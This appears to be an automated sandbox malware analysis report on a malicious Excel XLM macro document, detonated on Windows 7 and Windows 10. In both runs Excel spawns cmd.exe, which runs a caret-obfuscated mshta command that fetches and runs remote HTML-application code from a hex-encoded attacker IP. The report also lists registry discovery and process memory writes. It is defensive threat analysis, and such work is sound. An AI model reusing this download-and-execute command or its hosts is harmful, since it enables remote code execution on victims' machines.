Malware Analysis Report

2025-03-15 07:24

Sample ID 241111-1ds5nsxbpl
Target eaa4be298e795b691ff83d9d38d102c8fec068154a209827ae1afe558a4d75c3
SHA256 eaa4be298e795b691ff83d9d38d102c8fec068154a209827ae1afe558a4d75c3
Tags
macro xlm discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

eaa4be298e795b691ff83d9d38d102c8fec068154a209827ae1afe558a4d75c3

Threat Level: Known bad

The file eaa4be298e795b691ff83d9d38d102c8fec068154a209827ae1afe558a4d75c3 was found to be: Known bad.

Malicious Activity Summary

macro xlm discovery

Process spawned unexpected child process

Blocklisted process makes network request

Suspicious Office macro

System Location Discovery: System Language Discovery

Modifies Internet Explorer settings

Suspicious use of SetWindowsHookEx

Checks processor information in registry

Enumerates system info in registry

Suspicious behavior: AddClipboardFormatListener

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-11 21:32

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-11 21:32

Reported

2024-11-11 21:34

Platform

win7-20240903-en

Max time kernel

120s

Max time network

120s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\eaa4be298e795b691ff83d9d38d102c8fec068154a209827ae1afe558a4d75c3.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\eaa4be298e795b691ff83d9d38d102c8fec068154a209827ae1afe558a4d75c3.xls

C:\Windows\SysWOW64\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html

C:\Windows\SysWOW64\mshta.exe

mshta http://0xb907d607/fer/fe3.html

Network

Country Destination Domain Proto
RU 185.7.214.7:80 tcp
RU 185.7.214.7:80 tcp

Files

memory/2768-1-0x0000000071D9D000-0x0000000071DA8000-memory.dmp

memory/2768-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2768-2-0x0000000071D9D000-0x0000000071DA8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-11 21:32

Reported

2024-11-11 21:34

Platform

win10v2004-20241007-en

Max time kernel

133s

Max time network

134s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\eaa4be298e795b691ff83d9d38d102c8fec068154a209827ae1afe558a4d75c3.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\mshta.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4916 wrote to memory of 648 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 4916 wrote to memory of 648 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 648 wrote to memory of 684 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe
PID 648 wrote to memory of 684 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\eaa4be298e795b691ff83d9d38d102c8fec068154a209827ae1afe558a4d75c3.xls"

C:\Windows\SYSTEM32\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html

C:\Windows\system32\mshta.exe

mshta http://0xb907d607/fer/fe3.html

Network

Country Destination Domain Proto
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
GB 52.109.28.47:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 47.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
RU 185.7.214.7:80 tcp
US 8.8.8.8:53 17.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 24.73.42.20.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 27.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 30.243.111.52.in-addr.arpa udp

Files

memory/4916-0-0x00007FFCB25F0000-0x00007FFCB2600000-memory.dmp

memory/4916-3-0x00007FFCB25F0000-0x00007FFCB2600000-memory.dmp

memory/4916-2-0x00007FFCB25F0000-0x00007FFCB2600000-memory.dmp

memory/4916-4-0x00007FFCB25F0000-0x00007FFCB2600000-memory.dmp

memory/4916-6-0x00007FFCB25F0000-0x00007FFCB2600000-memory.dmp

memory/4916-9-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

memory/4916-8-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

memory/4916-13-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

memory/4916-12-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

memory/4916-14-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

memory/4916-15-0x00007FFCB0340000-0x00007FFCB0350000-memory.dmp

memory/4916-11-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

memory/4916-16-0x00007FFCB0340000-0x00007FFCB0350000-memory.dmp

memory/4916-18-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

memory/4916-17-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

memory/4916-10-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

memory/4916-7-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

memory/4916-5-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

memory/4916-1-0x00007FFCF260D000-0x00007FFCF260E000-memory.dmp

memory/4916-29-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

memory/4916-30-0x00007FFCF260D000-0x00007FFCF260E000-memory.dmp

memory/4916-31-0x00007FFCF2570000-0x00007FFCF2765000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 ef716c16bc1e7c2898c42552f37499b0
SHA1 d44316c4bdeabccab449dd4998f937cb46738e9c
SHA256 5a3b713405ba29778ae330d1a715bc13139ae31ed51c9e11b7996767972fb282
SHA512 a69c2f08760aa88b054d4343108975148dc6842b318643d63595eca0436b01a0794dbec4acb195683aff8a6e66f651f9b47d08fc49eac8e29ed0e4ae06ce4244